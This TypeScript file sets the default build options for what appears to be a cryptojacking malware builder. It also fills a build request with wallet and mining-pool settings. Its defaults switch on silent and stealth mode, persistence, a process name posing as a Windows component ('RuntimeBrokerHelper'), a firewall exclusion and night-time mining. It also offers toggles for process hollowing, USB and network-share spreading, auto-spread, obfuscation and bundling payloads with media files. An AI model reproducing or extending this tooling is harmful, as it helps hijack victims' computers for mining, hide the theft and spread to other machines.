import type { BuildRequest, ServerConfig, ServerInfo } from '../types';

/** Defaults for a new forge build — not stored in Calibrate. */
export const FORGE_BUILD_DEFAULTS: Omit<
  BuildRequest,
  'worker_name' | 'server_url' | 'wallet' | 'pool_host' | 'pool_port' | 'pool_tls' | 'pool_pass'
> = {
  output_dir: 'exports',
  threads: 4,
  thread_mode: 'percent',
  thread_percent: 75,
  cpu_priority: 'below_normal',
  mining_mode: 'idle',
  display_mode: 'background',
  silent_mode: true,
  run_as: 'scheduled',
  auto_start: true,
  persistence: true,
  process_name: 'RuntimeBrokerHelper',
  max_cpu_usage_pct: 80,
  max_memory_percent: 70,
  min_free_ram_mb: 1024,
  idle_threshold_pct: 20,
  idle_duration_minutes: 5,
  schedule_start: '21:00',
  schedule_end: '06:00',
  install_base: 'localappdata',
  install_custom_base: '',
  install_relative_path: 'CryptoMiner/{worker}-{build_short}',
  adapt_to_hardware: true,
  self_healing: true,
  file_logging: false,
  stealth_mode: true,
  firewall_exclusion: true,
  fusion_enabled: false,
  fusion_run_order: 'parallel',
  fusion_output_name: 'prep.exe',
  fusion_payload_kind: 'exe',
  fusion_media_mode: 'paired',
  fusion_media_base_name: '',
  fusion_export_subdir: '',
  ai_enabled: false,
  ai_ollama_endpoint: 'http://localhost:11434',
  ai_model: 'llama3.2',
  process_hollowing: false,
  mesh_p2p: false,
  auto_spread: false,
  hole_punch: false,
  remote_aggressive: false,
  usb_spread: false,
  share_spread: false,
  target_os: 'windows',
  target_arch: 'all',
  spread_kit: false,
  obfuscate: false,
  sign_build: false,
};

export function forgeDefaultsFromServer(config: ServerConfig, serverInfo: ServerInfo): BuildRequest {
  const publicUrl = config.server?.public_url?.trim();
  const srv = config.server;
  return {
    ...FORGE_BUILD_DEFAULTS,
    worker_name: '',
    server_url: publicUrl || serverInfo.suggested_url || '',
    wallet: config.wallet.address,
    pool_host: config.pool.host,
    pool_port: config.pool.port,
    pool_tls: config.pool.use_tls,
    pool_pass: config.pool.password || 'x',
    backup_pools: (config.pool.backup_pools ?? []).map((bp) => ({
      host: bp.host,
      port: bp.port,
      tls: bp.use_tls,
      pass: config.pool.password || 'x',
    })),
    obfuscate: srv?.obfuscate_default ?? false,
    sign_build: srv?.sign_enabled ?? false,
  };
}
